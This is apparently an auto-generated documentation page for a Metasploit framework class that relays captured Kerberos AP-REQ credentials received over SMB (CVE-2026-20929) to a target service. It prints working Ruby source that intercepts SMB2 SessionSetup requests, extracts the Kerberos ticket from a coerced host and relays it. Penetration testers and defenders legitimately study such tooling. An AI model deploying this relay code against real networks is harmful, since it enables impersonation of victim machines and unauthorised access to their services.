Class: Msf::Exploit::Remote::SMB::Relay::Kerberos::ServerClient

Inherits:
RubySMB::Server::ServerClient
  • Object
show all
Includes:
Relay::Kerberos::RelayHandler
Defined in:
lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb

Overview

A single connected SMB client for a Kerberos relay (CVE-2026-20929). The Kerberos counterpart to NTLM::ServerClient.

A coerced host authenticates to this server over SMB; its SMB2 SessionSetup carries a SPNEGO-wrapped Kerberos AP-REQ. Unlike NTLM there is no challenge/response: the AP-REQ is a complete credential that arrives in a single message, so this client captures it, relays it to the target, and answers the SessionSetup in one shot.

Instance Method Summary collapse

Methods included from Relay::Kerberos::RelayHandler

#relay_kerberos

Constructor Details

#initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:) ⇒ ServerClient

Returns a new instance of ServerClient.

Parameters:

  • relay_timeout (Integer)

    target send/recv timeout

  • relay_targets (Msf::Exploit::Remote::Relay::TargetList)

    the relay targets

  • listener (Object)

    receives on_relay_success / on_relay_failure



19
20
21
22
23
24
25
# File 'lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb', line 19

def initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:)
  super(server, dispatcher)

  @relay_timeout = relay_timeout
  @relay_targets = relay_targets
  @listener = listener
end

Instance Method Details

#do_session_setup_smb2(request, session) ⇒ Object

Intercept the SMB2 SessionSetup. When it carries a Kerberos AP-REQ, relay it; otherwise defer to the default handling (NTLM / normal auth).

Session bookkeeping mirrors NTLM::ServerClient#do_session_setup_smb2: a new session is registered in the server client’s session table so that RubySMB can resolve it for any follow-up request, and a session id we never issued is rejected rather than silently answered.



35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# File 'lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb', line 35

def do_session_setup_smb2(request, session)
  # One parse for the whole exchange: this both decides whether the blob is
  # Kerberos at all and yields the AP-REQ that gets relayed.
  ap_req = Rex::Proto::Gss::KerberosToken.try_extract_ap_req(request.buffer.to_binary_s)
  return super if ap_req.nil?

  session_id = request.smb2_header.session_id
  if session_id.zero?
    session_id = SecureRandom.random_number(0xfffffffe) + 1
    session = @session_table[session_id] = ::RubySMB::Server::Session.new(session_id)
  else
    session = @session_table[session_id]
    return session_deleted_response if session.nil?
  end

  result = relay_captured_ap_req(ap_req)
  build_session_setup_response(request, session, result)
end

#relay_captured_ap_req(ap_req) ⇒ Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult?

Select the relay target, build its client, and relay the captured AP-REQ. Split out from the SMB plumbing so the relay decision is unit-testable.

Parameters:

  • ap_req (String)

    the AP-REQ extracted from the SessionSetup blob

Returns:



59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# File 'lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb', line 59

def relay_captured_ap_req(ap_req)
  # A Kerberos AP-REQ is bound to the SPN the attacker coerced, so it can
  # only go to the matching service; identity is not known here (encrypted).
  target = @relay_targets.next(nil)
  if target.nil?
    logger.print_status('No relay target available for the captured AP-REQ')
    return nil
  end

  client = Msf::Exploit::Remote::Relay::Kerberos::Target.create_client(self, target, logger, @relay_timeout)
  relay_kerberos(
    ap_req,
    client: client,
    target: target,
    relay_targets: @relay_targets,
    listener: @listener
  )
end